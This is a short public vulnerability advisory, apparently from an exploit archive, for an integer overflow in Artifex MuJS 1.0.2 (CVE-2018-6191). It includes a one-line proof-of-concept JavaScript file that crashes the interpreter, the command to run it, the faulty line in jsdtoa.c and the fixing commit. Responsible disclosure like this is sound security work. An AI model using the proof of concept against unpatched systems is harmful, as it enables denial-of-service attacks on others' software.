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Artifex MuJS 1.0.2 Integer Overflow

Artifex MuJS 1.0.2 Integer Overflow
Posted Jan 27, 2018
Authored by Andrea Sindoni

Artifex MuJS version 1.0.2 suffers from an integer overflow vulnerability because of incorrect exponent validation.

tags | exploit, overflow
advisories | CVE-2018-6191
SHA-256 | 9f04c78e5f3bfe66cd92ba4f01b988a0a6bf71bf4076f0acc7c28035c0e4451a

Artifex MuJS 1.0.2 Integer Overflow

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The js_strtod function in jsdtoa.c in Artifex MuJS through 1.0.2 has an
integer overflow because of incorrect exponent validation.

# Exploit Title: Integer signedness error leading to Out-of-bounds read
that causes crash
# Date: 2018-01-24
# Exploit Author: Andrea Sindoni - @invictus1306
# Vendor: Artifex (https://www.artifex.com/)
# Software Link: https://github.com/ccxvii/mujs
# Version: Mujs - 228719d087aa5e27dcd8627c4acf7273476bdbca
# Tested on: Linux
# CVE : CVE-2018-6191

Content of the poc file
$ cat poc.js
function pipo() {var 2e2147483648= 117486231123842366;}

Run it
$ mujs poc.js

Additional details about the bug:

Inside the function js_strtod, after this line https://github.com/ccxvii/
mujs/blob/81388eb40d29f10599ac30dde90e683a3c254375/jsdtoa.c#L714

exp = -exp;

the value of "exp" is still negative (cause integer declaration).

Fixed in commit 25821e6d74fab5fcc200fe5e818362e03e114428 (
http://git.ghostscript.com/?p=mujs.git;a=commit;h=
25821e6d74fab5fcc200fe5e818362e03e114428)

Please let me know if you need more info.

Andrea Sindoni
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